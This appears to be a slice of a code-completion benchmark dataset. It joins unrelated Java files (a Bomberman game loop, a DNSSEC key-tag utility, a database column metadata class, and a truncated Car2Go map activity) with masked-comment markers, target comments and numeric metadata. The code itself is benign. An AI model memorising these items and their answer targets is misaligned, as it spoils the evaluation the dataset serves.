package de.tu_darmstadt.gdi1.bomberman.game; import java.util.ArrayList; import java.util.List; import java.util.Timer; import java.util.TimerTask; import java.util.logging.Logger; import de.tu_darmstadt.gdi1.bomberman.BombermanController; import de.tu_darmstadt.gdi1.bomberman.game.elements.Bomb; import de.tu_darmstadt.gdi1.bomberman.game.elements.Explosion; import de.tu_darmstadt.gdi1.bomberman.game.elements.GameElement; import de.tu_darmstadt.gdi1.bomberman.game.elements.Player; import de.tu_darmstadt.gdi1.bomberman.game.levels.BombermanGameData; import de.tu_darmstadt.gdi1.bomberman.gui.ControllerInputEvent; import de.tu_darmstadt.gdi1.bomberman.gui.UIEvent; import de.tu_darmstadt.gdi1.framework.interfaces.IBoard; import de.tu_darmstadt.gdi1.framework.utils.Point; /** * Das eigentliche Bomberman Spiel. Diese Klasse enthält die Spiellogik. Unsere Implementierung des * IBombermanGame Interfaces. Das Interface normiert die Game Klasse gegenüber dem Testadapter, so * dass andere Implementierungen potentiell unseren Test Adapter verwenden könnten. * * WICHTIG WICHTIG: diese Klasse hat keinen State! Sie weiß nichts über das Spiel selbst. Für alles * muss sie die gameData Instanz fragen. */ public class BombermanGame implements IBombermanGame { protected BombermanGameData gameData; protected BombermanController controller; Logger logger = Logger.getLogger(BombermanGame.class.getName()); public static long tickRate = 50; protected Timer tickTimer; protected long tickCounter = 0; private long timeInSeconds = 0; public BombermanGame (BombermanGameData data, BombermanController ctr) { gameData = data; controller = ctr; //say hello to the gui, show the loaded level: sendEventToUI(UIEvent.type.NEW_GAME); } public long getTimeInSeconds () { return timeInSeconds; } public BombermanGameData getBombermanGameData(){ return gameData; } public void setGameData (BombermanGameData gameData) { this.gameData = gameData; } // Ticking ///////////////////////////////////////////////////////////////////////////////////// /** * Diese Funktion wird für jedes "Frame" aufgerufen. Per "initialiseTickTimer" Funktion kann * dies zeitgesteuert ausgeführt und gestartet werden. Die Testfälle führen die tick() Funktion * aber schneller aus, um zeitabhängige Tests direkt durcharbeiten zu können. * * Im "Echtzeitmodus" per Timer kommt der tick 20x in der Sekunde - 20 Ticks sind also eine Sekunde. */ @Override public void tick () { tickCounter++; // Keep on moving players that move due to pressed buttons continueMoving(); // Keep on countdowning and exploding bombs continueBombs(); // Keep on showing crazy pyro explosions continueExplosions(); //Time goes on gameTime(); // Redraw what became dirty this.controller.redrawDirtyPoints(); } public long getTickCount () { return tickCounter; } public void setTickCounter (long tickCounter) { this.tickCounter = tickCounter; } /** * Startet einen Timer, der die tick() Funktion alle tickRate Millisekunden ausführt. */ public void initialiseTickTimer () { if (tickTimer != null) return; // TickTimer anschmeißen. Hail to the closure: die run() Methode in der anonymen TimerTask // Klasse kennt die tick() Funktion des BombermanGame Objekts. tickTimer = new Timer(); tickTimer.scheduleAtFixedRate(new TimerTask(){ @Override public void run() { tick(); } }, tickRate, tickRate); } /** * Stoppt den mit initialiseTickTimer gestarteten Timer wieder. */ public void disposeTickTimer () { tickTimer.cancel(); tickTimer = null; } public void pauseTickTimer () { System.out.println("Pausing game..."); tickTimer.cancel(); } public void continueTickTimer () { System.out.println("Continuing game..."); tickTimer = null; initialiseTickTimer(); } // Gamedata Getter/Setter ////////////////////////////////////////////////////////////////////// /** * Gibt das aktuelle Spielfeld IBoard zurück. */ @Override public IBoard<GameElement> getBoard() { return this.gameData.getStepManager().getCurrentBoard(); } // Player movement ///////////////////////////////////////////////////////////////////////////// public void startPlayerMove (int playerIdx, Player.direction dir) { Player pl = gameData.getPlayer(playerIdx); if (pl != null) { Point from = pl.getPoint(); pl.setDirection(dir); if (pl.move(tickCounter)) { this.controller.addDirtyPoint(from); this.controller.addDirtyPoint(pl.getPoint()); this.controller.redrawDirtyPoints(); } } } public void stopPlayerMove (int playerIdx, Player.direction dir) { Player pl = gameData.getPlayer(playerIdx); if (pl != null && pl.getDirection() == dir) { pl.setDirection(Player.direction.NULL); } } public void continueMoving () { // Make each player move if he needs to for (Player pl : gameData.getPlayers()) { Point from = pl.getPoint(); if (pl.move(tickCounter)) { this.controller.addDirtyPoint(from); this.controller.addDirtyPoint(pl.getPoint()); } } } // Bombing ///////////////////////////////////////////////////////////////////////////////////// public void dropBomb (int playerIdx) { Player pl = gameData.getPlayer(playerIdx); if (pl != null) { Bomb b = pl.dropBomb(); if (b != null) { gameData.addBomb(b); this.controller.addDirtyPoint(pl.getPoint()); this.controller.redrawDirtyPoints(); } } } public void continueBombs () { for (int i = 0; i < gameData.getBombs().size(); i++) { Bomb bomb = gameData.getBombs().get(i); if (bomb.getTicksTillExplode() == 0) { // Make the bomb explode and get the resulting explosion fields ArrayList<Explosion> explosions = bomb.explode(tickCounter); // Make sure all the explosion fields are drawn for (Explosion ex : explosions) { this.controller.addDirtyPoint(ex.getPoint()); } // Make the gameData know about the explosions gameData.addExplosions(explosions); i--; } else { // Tick tack bomb.decreaseBombTicks(); // Give the bomb a chance to be redrawn before it explodes. Might be used for // animations. if (bomb.isDirty()) this.controller.addDirtyPoint(bomb.getPoint()); } } } // Explosions ////////////////////////////////////////////////////////////////////////////////// public void continueExplosions () { for (int i = 0; i < gameData.getExplosions().size(); i++) { Explosion ex = (Explosion) gameData.getExplosions().get(i); if (ex.remove(tickCounter)) { this.controller.addDirtyPoint(ex.getPoint()); i--; } } } // Event Management<SUF> /** * Versendet ein Event an das User Interface. Der Controller wird als Zwischenhändler verwendet, * da sich Game Object und GUI besser nicht direkt kennen dürfen. * @param type */ private void sendEventToUI(UIEvent.type type) { UIEvent event = new UIEvent(type); event.setBoard(getBoard()); controller.sendEventToUI(event); } /** * Verarbeitet ein Input Event. * @param event */ public void handleInputEvent(ControllerInputEvent event) throws Exception { if (event.getButton() == ControllerInputEvent.button.NULL) return; // Either place a bomb or move around. if (event.getButton() == ControllerInputEvent.button.BOMB) { this.dropBomb(event.getPlayerIndex()); } else if (event.getButton() == ControllerInputEvent.button.MAIN_MENU) { pauseTickTimer(); sendEventToUI(UIEvent.type.MAIN_MENU); } else if (event.getButton() == ControllerInputEvent.button.X_BUTTON) { List<GameElement> list = gameData.getPlayer(1).mightyBlow(); for (GameElement gE : list) { controller.addDirtyPoint(gE.getPoint()); } controller.redrawDirtyPoints(); } else { // We know that it has to be a direction - map the direction from the ControllerInputEvent // to the Players directions (die Wege der losen Kopplung sind unergründlich - hässlich) Player.direction dir = Player.direction.NULL; switch (event.getButton()) { case UP: dir = Player.direction.UP; break; case DOWN: dir = Player.direction.DOWN; break; case LEFT: dir = Player.direction.LEFT; break; case RIGHT: dir = Player.direction.RIGHT; break; } if (event.getState() == ControllerInputEvent.state.PRESSED) { this.startPlayerMove(event.getPlayerIndex(), dir); } else { this.stopPlayerMove(event.getPlayerIndex(), dir); } } } public void gameTime (){ long mytime = getTickCount() / (1000 / tickRate); if (mytime != timeInSeconds){ timeInSeconds = mytime; sendEventToUI(UIEvent.type.UPDATE_TIME); if (timeInSeconds >= 300) { gameData.getDelegate().manageSuddenDeath(this.controller); } } } }
False
2,194
5
2,745
5
2,572
9
2,745
5
3,172
10
false
false
false
false
false
true
1,519
24510_8
/* * ENTRADA, a big data platform for network data analytics * * Copyright (C) 2016 SIDN [https://www.sidn.nl] * * This file is part of ENTRADA. * * ENTRADA is free software: you can redistribute it and/or modify it under the terms of the GNU * General Public License as published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * ENTRADA is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even * the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General * Public License for more details. * * You should have received a copy of the GNU General Public License along with ENTRADA. If not, see * [<http://www.gnu.org/licenses/]. * */ package nl.sidnlabs.dnslib.util; import java.math.BigInteger; import java.nio.ByteBuffer; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PublicKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.RSAPublicKeySpec; import nl.sidnlabs.dnslib.message.records.dnssec.DNSKEYResourceRecord; import nl.sidnlabs.dnslib.message.records.dnssec.DSResourceRecord; public class KeyUtil { private KeyUtil() {} private static final char KEY_ZONE_FLAG_MASK = 0x0100; // 0000 0001 0000 0000 private static final char KEY_ZONE_SEP_FLAG_MASK = 0x0101; // 0000 0001 0000 0001 public static PublicKey createPublicKey(byte[] key, int algorithm) { if (algorithm == 5 || algorithm == 7 || algorithm == 8 || algorithm == 10) { // only create RSA pub keys. ByteBuffer b = ByteBuffer.wrap(key); int exponentLength = b.get() & 0xff; if (exponentLength == 0) { exponentLength = b.getChar(); } try { byte[] data = new byte[exponentLength]; b.get(data); BigInteger exponent = new BigInteger(1, data); byte[] modulusData = new byte[b.remaining()]; b.get(modulusData); BigInteger modulus = new BigInteger(1, modulusData); KeyFactory factory = KeyFactory.getInstance("RSA"); return factory.generatePublic(new RSAPublicKeySpec(modulus, exponent)); } catch (NoSuchAlgorithmException | InvalidKeySpecException e) { // problem creating pub key } } // no support for Elliptic curves, Ghost etc return null; } /** * Bereken de keyTag(footprint) van een publieke sleutel. De keyTag berekent een getal waarmee de * publieke sleutel te herkennen is, dit is niet per definitie uniek per publieke sleutel. Zie * IETF RFC 4034, Appendix B voor meer informatie. * * @see <a href="http://www.ietf.org/rfc/rfc4034.txt">rfc4034</a> * * Dit lijkt op het berekenen van 1 complement checksum * (http://nl.wikipedia.org/wiki/One%27s_complement) De onderstaande implementatie is * overgenomen van versisign, zie: <a href= * "http://svn.verisignlabs.com/jdnssec/dnsjava/trunk/org/xbill/DNS/KEYBase.java">jdnssec * </a> * @param rdata key * @param alg de naam van het algoritme waarmee de public key is gemaakt. * @return integer waarde welke de keytag van de public key is */ public static int createKeyTag(byte[] rdata, int alg) { int foot = 0; int footprint = -1; // als de publieke sleuten met RSA/MD5 is gemaakt en gehashed dan // geld er een ander algoritme voor bepalen keytag if (1 == alg) { // MD5 int d1 = rdata[rdata.length - 3] & 0xFF; int d2 = rdata[rdata.length - 2] & 0xFF; foot = (d1 << 8) + d2; } else { int i; for (i = 0; i < rdata.length - 1; i += 2) { int d1 = rdata[i] & 0xFF; int d2 = rdata[i + 1] & 0xFF; foot += ((d1 << 8) + d2); } if (i < rdata.length) { int d1 = rdata[i] & 0xFF; foot += (d1 << 8); } foot += ((foot >> 16) & 0xFFFF); } footprint = (foot & 0xFFFF); return footprint; } public static boolean isZoneKey(DNSKEYResourceRecord key) { return (key.getFlags() & KEY_ZONE_FLAG_MASK) == KEY_ZONE_FLAG_MASK; } public static boolean isSepKey(DNSKEYResourceRecord key) { return (key.getFlags() & KEY_ZONE_SEP_FLAG_MASK) == KEY_ZONE_SEP_FLAG_MASK; } public static boolean isKeyandDSmatch(DNSKEYResourceRecord key, DSResourceRecord ds) { return (key.getAlgorithm() == ds.getAlgorithm() && key.getKeytag() == ds.getKeytag() && key.getName().equalsIgnoreCase(ds.getName())); } }
SIDN/dns-lib
src/main/java/nl/sidnlabs/dnslib/util/KeyUtil.java
1,576
// geld er een ander algoritme voor bepalen keytag
line_comment
nl
/* * ENTRADA, a big data platform for network data analytics * * Copyright (C) 2016 SIDN [https://www.sidn.nl] * * This file is part of ENTRADA. * * ENTRADA is free software: you can redistribute it and/or modify it under the terms of the GNU * General Public License as published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * ENTRADA is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even * the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General * Public License for more details. * * You should have received a copy of the GNU General Public License along with ENTRADA. If not, see * [<http://www.gnu.org/licenses/]. * */ package nl.sidnlabs.dnslib.util; import java.math.BigInteger; import java.nio.ByteBuffer; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PublicKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.RSAPublicKeySpec; import nl.sidnlabs.dnslib.message.records.dnssec.DNSKEYResourceRecord; import nl.sidnlabs.dnslib.message.records.dnssec.DSResourceRecord; public class KeyUtil { private KeyUtil() {} private static final char KEY_ZONE_FLAG_MASK = 0x0100; // 0000 0001 0000 0000 private static final char KEY_ZONE_SEP_FLAG_MASK = 0x0101; // 0000 0001 0000 0001 public static PublicKey createPublicKey(byte[] key, int algorithm) { if (algorithm == 5 || algorithm == 7 || algorithm == 8 || algorithm == 10) { // only create RSA pub keys. ByteBuffer b = ByteBuffer.wrap(key); int exponentLength = b.get() & 0xff; if (exponentLength == 0) { exponentLength = b.getChar(); } try { byte[] data = new byte[exponentLength]; b.get(data); BigInteger exponent = new BigInteger(1, data); byte[] modulusData = new byte[b.remaining()]; b.get(modulusData); BigInteger modulus = new BigInteger(1, modulusData); KeyFactory factory = KeyFactory.getInstance("RSA"); return factory.generatePublic(new RSAPublicKeySpec(modulus, exponent)); } catch (NoSuchAlgorithmException | InvalidKeySpecException e) { // problem creating pub key } } // no support for Elliptic curves, Ghost etc return null; } /** * Bereken de keyTag(footprint) van een publieke sleutel. De keyTag berekent een getal waarmee de * publieke sleutel te herkennen is, dit is niet per definitie uniek per publieke sleutel. Zie * IETF RFC 4034, Appendix B voor meer informatie. * * @see <a href="http://www.ietf.org/rfc/rfc4034.txt">rfc4034</a> * * Dit lijkt op het berekenen van 1 complement checksum * (http://nl.wikipedia.org/wiki/One%27s_complement) De onderstaande implementatie is * overgenomen van versisign, zie: <a href= * "http://svn.verisignlabs.com/jdnssec/dnsjava/trunk/org/xbill/DNS/KEYBase.java">jdnssec * </a> * @param rdata key * @param alg de naam van het algoritme waarmee de public key is gemaakt. * @return integer waarde welke de keytag van de public key is */ public static int createKeyTag(byte[] rdata, int alg) { int foot = 0; int footprint = -1; // als de publieke sleuten met RSA/MD5 is gemaakt en gehashed dan // geld er<SUF> if (1 == alg) { // MD5 int d1 = rdata[rdata.length - 3] & 0xFF; int d2 = rdata[rdata.length - 2] & 0xFF; foot = (d1 << 8) + d2; } else { int i; for (i = 0; i < rdata.length - 1; i += 2) { int d1 = rdata[i] & 0xFF; int d2 = rdata[i + 1] & 0xFF; foot += ((d1 << 8) + d2); } if (i < rdata.length) { int d1 = rdata[i] & 0xFF; foot += (d1 << 8); } foot += ((foot >> 16) & 0xFFFF); } footprint = (foot & 0xFFFF); return footprint; } public static boolean isZoneKey(DNSKEYResourceRecord key) { return (key.getFlags() & KEY_ZONE_FLAG_MASK) == KEY_ZONE_FLAG_MASK; } public static boolean isSepKey(DNSKEYResourceRecord key) { return (key.getFlags() & KEY_ZONE_SEP_FLAG_MASK) == KEY_ZONE_SEP_FLAG_MASK; } public static boolean isKeyandDSmatch(DNSKEYResourceRecord key, DSResourceRecord ds) { return (key.getAlgorithm() == ds.getAlgorithm() && key.getKeytag() == ds.getKeytag() && key.getName().equalsIgnoreCase(ds.getName())); } }
True
1,281
14
1,396
16
1,430
12
1,396
16
1,623
16
false
false
false
false
false
true
2,593
24100_12
package cn.hutool.db.meta; import cn.hutool.core.util.BooleanUtil; import cn.hutool.core.util.ReUtil; import cn.hutool.db.DbRuntimeException; import java.io.Serializable; import java.sql.ResultSet; import java.sql.SQLException; /** * 数据库表的列信息 * * @author loolly */ public class Column implements Serializable, Cloneable { private static final long serialVersionUID = 577527740359719367L; // ----------------------------------------------------- Fields start /** * 表名 */ private String tableName; /** * 列名 */ private String name; /** * 类型,对应java.sql.Types中的类型 */ private int type; /** * 类型名称 */ private String typeName; /** * 大小或数据长度 */ private long size; private Integer digit; /** * 是否为可空 */ private boolean isNullable; /** * 注释 */ private String comment; /** * 是否自增 */ private boolean autoIncrement; /** * 字段默认值<br> * default value for the column, which should be interpreted as a string when the value is enclosed in single quotes (may be {@code null}) */ private String columnDef; /** * 是否为主键 */ private boolean isPk; // ----------------------------------------------------- Fields end /** * 创建列对象 * * @param columnMetaRs 列元信息的ResultSet * @param table 表信息 * @return 列对象 * @since 5.4.3 */ public static Column create(Table table, ResultSet columnMetaRs) { return new Column(table, columnMetaRs); } // ----------------------------------------------------- Constructor start /** * 构造 */ public Column() { } /** * 构造 * * @param table 表信息 * @param columnMetaRs Meta信息的ResultSet * @since 5.4.3 */ public Column(Table table, ResultSet columnMetaRs) { try { init(table, columnMetaRs); } catch (SQLException e) { throw new DbRuntimeException(e, "Get table [{}] meta info error!", tableName); } } // ----------------------------------------------------- Constructor end /** * 初始化 * * @param table 表信息 * @param columnMetaRs 列的meta ResultSet * @throws SQLException SQL执行异常 */ public void init(Table table, ResultSet columnMetaRs) throws SQLException { this.tableName = table.getTableName(); this.name = columnMetaRs.getString("COLUMN_NAME"); this.isPk = table.isPk(this.name); this.type = columnMetaRs.getInt("DATA_TYPE"); String typeName = columnMetaRs.getString("TYPE_NAME"); //issue#2201@Gitee typeName = ReUtil.delLast("\\(\\d+\\)", typeName); this.typeName = typeName; this.size = columnMetaRs.getLong("COLUMN_SIZE"); this.isNullable = columnMetaRs.getBoolean("NULLABLE"); this.comment = columnMetaRs.getString("REMARKS"); this.columnDef = columnMetaRs.getString("COLUMN_DEF"); // 保留小数位数 try { this.digit = columnMetaRs.getInt("DECIMAL_DIGITS"); } catch (SQLException ignore) { //某些驱动可能不支持,跳过 } // 是否自增 try { String auto = columnMetaRs.getString("IS_AUTOINCREMENT"); if (BooleanUtil.toBoolean(auto)) { this.autoIncrement = true; } } catch (SQLException ignore) { //某些驱动可能不支持,跳过 } } // ----------------------------------------------------- Getters and Setters start /** * 获取表名 * * @return 表名 */ public String getTableName() { return tableName; } /** * 设置表名 * * @param tableName 表名 * @return this */ public Column setTableName(String tableName) { this.tableName = tableName; return this; } /** * 获取列名 * * @return 列名 */ public String getName() { return name; } /** * 设置列名 * * @param name 列名 * @return this */ public Column setName(String name) { this.name = name; return this; } /** * 获取字段类型的枚举 * * @return 阻断类型枚举 * @since 4.5.8 */ public JdbcType getTypeEnum() { return JdbcType.valueOf(this.type); } /** * 获取类型,对应{@link java.sql.Types}中的类型 * * @return 类型 */ public int getType() { return type; } /** * 设置类型,对应java.sql.Types中的类型 * * @param type 类型 * @return this */ public Column setType(int type) { this.type = type; return this; } /** * 获取类型名称 * * @return 类型名称 */ public String getTypeName() { return typeName; } /** * 设置类型名称 * * @param typeName 类型名称 * @return this */ public Column setTypeName(String typeName) { this.typeName = typeName; return this; } /** * 获取大小或数据长度 * * @return 大小或数据长度 */ public long getSize() { return size; } /** * 设置大小或数据长度 * * @param size 大小或数据长度 * @return this */ public Column setSize(int size) { this.size = size; return this; } /** * 获取小数位数 * * @return 大小或数据长度 */ public Integer getDigit() { return digit; } /** * 设置小数位数 * * @param digit 小数位数 * @return this */ public Column setDigit(int digit) { this.digit = digit; return this; } /** * 是否为可空 * * @return 是否为可空 */ public boolean isNullable() { return isNullable; } /** * 设置是否为可空 * * @param isNullable 是否为可空 * @return this */ public Column setNullable(boolean isNullable) { this.isNullable = isNullable; return this; } /** * 获取注释 * * @return 注释 */ public String getComment() { return comment; } /** * 设置注释 * * @param comment 注释 * @return this */ public Column setComment(String comment) { this.comment = comment; return this; } /** * 是否自增 * * @return 是否自增 * @since 5.4.3 */ public boolean isAutoIncrement() { return autoIncrement; } /** * 设置是否自增 * * @param autoIncrement 是否自增 * @return this * @since 5.4.3 */ public Column setAutoIncrement(boolean autoIncrement) { this.autoIncrement = autoIncrement; return this; } /** * 是否主键 * * @return 是否主键 * @since 5.4.3 */ public boolean isPk() { return isPk; } /** * 设置是否主键 * * @param isPk 是否主键 * @return this * @since 5.4.3 */ public Column setPk(boolean isPk) { this.isPk = isPk; return this; } /** * 获取默认值 * * @return 默认值 */ public String getColumnDef() { return columnDef; } /** * 设置默认值 * * @param columnDef 默认值 * @return this */ public Column setColumnDef(String columnDef) { this.columnDef = columnDef; return this; } // ----------------------------------------------------- Getters and Setters end @Override public String toString() { return "Column [tableName=" + tableName + ", name=" + name + ", type=" + type + ", size=" + size + ", isNullable=" + isNullable + "]"; } @Override public Column clone() throws CloneNotSupportedException { return (Column) super.clone(); } }
dromara/hutool
hutool-db/src/main/java/cn/hutool/db/meta/Column.java
2,478
// ----------------------------------------------------- Fields end
line_comment
nl
package cn.hutool.db.meta; import cn.hutool.core.util.BooleanUtil; import cn.hutool.core.util.ReUtil; import cn.hutool.db.DbRuntimeException; import java.io.Serializable; import java.sql.ResultSet; import java.sql.SQLException; /** * 数据库表的列信息 * * @author loolly */ public class Column implements Serializable, Cloneable { private static final long serialVersionUID = 577527740359719367L; // ----------------------------------------------------- Fields start /** * 表名 */ private String tableName; /** * 列名 */ private String name; /** * 类型,对应java.sql.Types中的类型 */ private int type; /** * 类型名称 */ private String typeName; /** * 大小或数据长度 */ private long size; private Integer digit; /** * 是否为可空 */ private boolean isNullable; /** * 注释 */ private String comment; /** * 是否自增 */ private boolean autoIncrement; /** * 字段默认值<br> * default value for the column, which should be interpreted as a string when the value is enclosed in single quotes (may be {@code null}) */ private String columnDef; /** * 是否为主键 */ private boolean isPk; // ----------------------------------------------------- Fields<SUF> /** * 创建列对象 * * @param columnMetaRs 列元信息的ResultSet * @param table 表信息 * @return 列对象 * @since 5.4.3 */ public static Column create(Table table, ResultSet columnMetaRs) { return new Column(table, columnMetaRs); } // ----------------------------------------------------- Constructor start /** * 构造 */ public Column() { } /** * 构造 * * @param table 表信息 * @param columnMetaRs Meta信息的ResultSet * @since 5.4.3 */ public Column(Table table, ResultSet columnMetaRs) { try { init(table, columnMetaRs); } catch (SQLException e) { throw new DbRuntimeException(e, "Get table [{}] meta info error!", tableName); } } // ----------------------------------------------------- Constructor end /** * 初始化 * * @param table 表信息 * @param columnMetaRs 列的meta ResultSet * @throws SQLException SQL执行异常 */ public void init(Table table, ResultSet columnMetaRs) throws SQLException { this.tableName = table.getTableName(); this.name = columnMetaRs.getString("COLUMN_NAME"); this.isPk = table.isPk(this.name); this.type = columnMetaRs.getInt("DATA_TYPE"); String typeName = columnMetaRs.getString("TYPE_NAME"); //issue#2201@Gitee typeName = ReUtil.delLast("\\(\\d+\\)", typeName); this.typeName = typeName; this.size = columnMetaRs.getLong("COLUMN_SIZE"); this.isNullable = columnMetaRs.getBoolean("NULLABLE"); this.comment = columnMetaRs.getString("REMARKS"); this.columnDef = columnMetaRs.getString("COLUMN_DEF"); // 保留小数位数 try { this.digit = columnMetaRs.getInt("DECIMAL_DIGITS"); } catch (SQLException ignore) { //某些驱动可能不支持,跳过 } // 是否自增 try { String auto = columnMetaRs.getString("IS_AUTOINCREMENT"); if (BooleanUtil.toBoolean(auto)) { this.autoIncrement = true; } } catch (SQLException ignore) { //某些驱动可能不支持,跳过 } } // ----------------------------------------------------- Getters and Setters start /** * 获取表名 * * @return 表名 */ public String getTableName() { return tableName; } /** * 设置表名 * * @param tableName 表名 * @return this */ public Column setTableName(String tableName) { this.tableName = tableName; return this; } /** * 获取列名 * * @return 列名 */ public String getName() { return name; } /** * 设置列名 * * @param name 列名 * @return this */ public Column setName(String name) { this.name = name; return this; } /** * 获取字段类型的枚举 * * @return 阻断类型枚举 * @since 4.5.8 */ public JdbcType getTypeEnum() { return JdbcType.valueOf(this.type); } /** * 获取类型,对应{@link java.sql.Types}中的类型 * * @return 类型 */ public int getType() { return type; } /** * 设置类型,对应java.sql.Types中的类型 * * @param type 类型 * @return this */ public Column setType(int type) { this.type = type; return this; } /** * 获取类型名称 * * @return 类型名称 */ public String getTypeName() { return typeName; } /** * 设置类型名称 * * @param typeName 类型名称 * @return this */ public Column setTypeName(String typeName) { this.typeName = typeName; return this; } /** * 获取大小或数据长度 * * @return 大小或数据长度 */ public long getSize() { return size; } /** * 设置大小或数据长度 * * @param size 大小或数据长度 * @return this */ public Column setSize(int size) { this.size = size; return this; } /** * 获取小数位数 * * @return 大小或数据长度 */ public Integer getDigit() { return digit; } /** * 设置小数位数 * * @param digit 小数位数 * @return this */ public Column setDigit(int digit) { this.digit = digit; return this; } /** * 是否为可空 * * @return 是否为可空 */ public boolean isNullable() { return isNullable; } /** * 设置是否为可空 * * @param isNullable 是否为可空 * @return this */ public Column setNullable(boolean isNullable) { this.isNullable = isNullable; return this; } /** * 获取注释 * * @return 注释 */ public String getComment() { return comment; } /** * 设置注释 * * @param comment 注释 * @return this */ public Column setComment(String comment) { this.comment = comment; return this; } /** * 是否自增 * * @return 是否自增 * @since 5.4.3 */ public boolean isAutoIncrement() { return autoIncrement; } /** * 设置是否自增 * * @param autoIncrement 是否自增 * @return this * @since 5.4.3 */ public Column setAutoIncrement(boolean autoIncrement) { this.autoIncrement = autoIncrement; return this; } /** * 是否主键 * * @return 是否主键 * @since 5.4.3 */ public boolean isPk() { return isPk; } /** * 设置是否主键 * * @param isPk 是否主键 * @return this * @since 5.4.3 */ public Column setPk(boolean isPk) { this.isPk = isPk; return this; } /** * 获取默认值 * * @return 默认值 */ public String getColumnDef() { return columnDef; } /** * 设置默认值 * * @param columnDef 默认值 * @return this */ public Column setColumnDef(String columnDef) { this.columnDef = columnDef; return this; } // ----------------------------------------------------- Getters and Setters end @Override public String toString() { return "Column [tableName=" + tableName + ", name=" + name + ", type=" + type + ", size=" + size + ", isNullable=" + isNullable + "]"; } @Override public Column clone() throws CloneNotSupportedException { return (Column) super.clone(); } }
False
1,955
5
2,158
5
2,290
8
2,158
5
2,801
9
false
false
false
false
false
true
695
29164_27
package de.age.car2goil2k2; import java.util.List; import c2G.mobile.api.communication.Endpoint; import c2G.mobile.api.objekts.Coordinate; import c2G.mobile.api.objekts.GasStation; import c2G.mobile.api.objekts.ParkingSpot; import c2G.mobile.api.objekts.Vehicle; import com.google.android.maps.GeoPoint; import com.google.android.maps.MapActivity; import com.google.android.maps.MapController; import com.google.android.maps.MapView; import com.google.android.maps.MyLocationOverlay; import com.google.android.maps.OverlayItem; import de.gui.c2g.R; import android.content.Context; import android.graphics.drawable.Drawable; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.os.Bundle; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.View.OnTouchListener; public class Car2Go extends MapActivity implements OnTouchListener { private MapController mapController; private MapView mapView; private LocationManager locationManager; private MyOverlays itemizedoverlaydot, itemizedOverlayCar, itemizedOverlayParkingSlot, itemizedOverlayGasStation; private MyLocationOverlay myLocationOverlay; private GeoPoint userlocation; private Endpoint endpoint; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.googlemapmain); // Configure the Map mapView = (MapView) findViewById(R.id.mapview); mapView.setBuiltInZoomControls(true); mapView.setSatellite(false); mapController = mapView.getController(); mapController.setZoom(14); // Zoon 1 is world view mapController.setCenter(new GeoPoint((int) (48.400833 * 1E6), (int) (9.987222* 1E6))); locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 6000, 0, new GeoUpdateHandler()); myLocationOverlay = new MyLocationOverlay(this, mapView); mapView.getOverlays().add(myLocationOverlay); // myLocationOverlay.runOnFirstFix(new Runnable() { // public void run() { // mapView.getController().animateTo(myLocationOverlay.getMyLocation()); // } // }); Drawable drawabledot = this.getResources().getDrawable(R.drawable.reddot); Drawable drawableCar = this.getResources().getDrawable(R.drawable.car2go_icon_org_klein); // Drawable drawableParkingSlot = null; // Drawable drawableGasStation = null; itemizedoverlaydot = new MyOverlays(drawabledot,this); itemizedOverlayCar = new MyOverlays(drawableCar,this); endpoint = new Endpoint(); // itemizedOverlayGasStation = new MyOverlays(drawableGasStation); // itemizedOverlayParkingSlot = new MyOverlays(drawableParkingSlot); // getAllFreeVehicle("ulm", "AdrianMarsch", 1, new Coordinate(48.400833, 9.987222)); createMarkerCars(endpoint.getAllFreeVehiclesInRange("ulm", "AdrianMarsch", 1, new Coordinate(48.400833, 9.987222))); // getAllGasStations("ulm", "AdrianMarsch"); // getAllParkingSpots("ulm", "AdrianMarsch"); } @Override protected boolean isRouteDisplayed() { // TODO Auto-generated method stub return false; } public class GeoUpdateHandler implements LocationListener { public void onLocationChanged(Location location) { // int lat = (int) (location.getLatitude() * 1E6); // int lng = (int) (location.getLongitude() * 1E6); int lat = (int) (48.400833 * 1E6); int lng = (int) (9.987222 * 1E6); GeoPoint point = new GeoPoint(lat, lng); // createMarker(); // mapController.animateTo(point); // mapController.setCenter(point); userlocation = point; OverlayItem overlayitem = new OverlayItem(point, "", ""); itemizedoverlaydot.adOverlay(overlayitem); mapView.getOverlays().add(itemizedoverlaydot); } public void onProviderDisabled(String provider) { } public void onProviderEnabled(String provider) { } public void onStatusChanged(String provider, int status, Bundle extras) { } } // private void createMarkerCars(double latitude, double longitude) { // // int lat = (int) (latitude * 1E6); // int lng = (int) (longitude * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } private void createMarkerCars(List<Vehicle> freeVehicle) { for (int i = 0; i < freeVehicle.size(); i++) { System.out.println("lat. " + freeVehicle.get(i).getPosition().getLatitude() + "lon: " + freeVehicle.get(i).getPosition().getLongitude()); // createMarkerCars(freeVehicle.get(i).getPosition().getLatitude(), freeVehicle.get(i).getPosition().getLongitude()); int lat = (int) (freeVehicle.get(i).getPosition().getLatitude() * 1E6); int lng = (int) (freeVehicle.get(i).getPosition().getLongitude() * 1E6); GeoPoint p = new GeoPoint(lat, lng); OverlayItem overlayitem = new OverlayItem(p, freeVehicle.get(i).getPlate(), freeVehicle.get(i).getFuel()); itemizedOverlayCar.adOverlay(overlayitem); if (itemizedOverlayCar.size() > 0) { mapView.getOverlays().add(itemizedOverlayCar); } } } // private void createMarkerGasStations(Coordinate coordinate) { // // int lat = (int) (coordinate.getLatitude() * 1E6); // int lng = (int) (coordinate.getLongitude() * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // 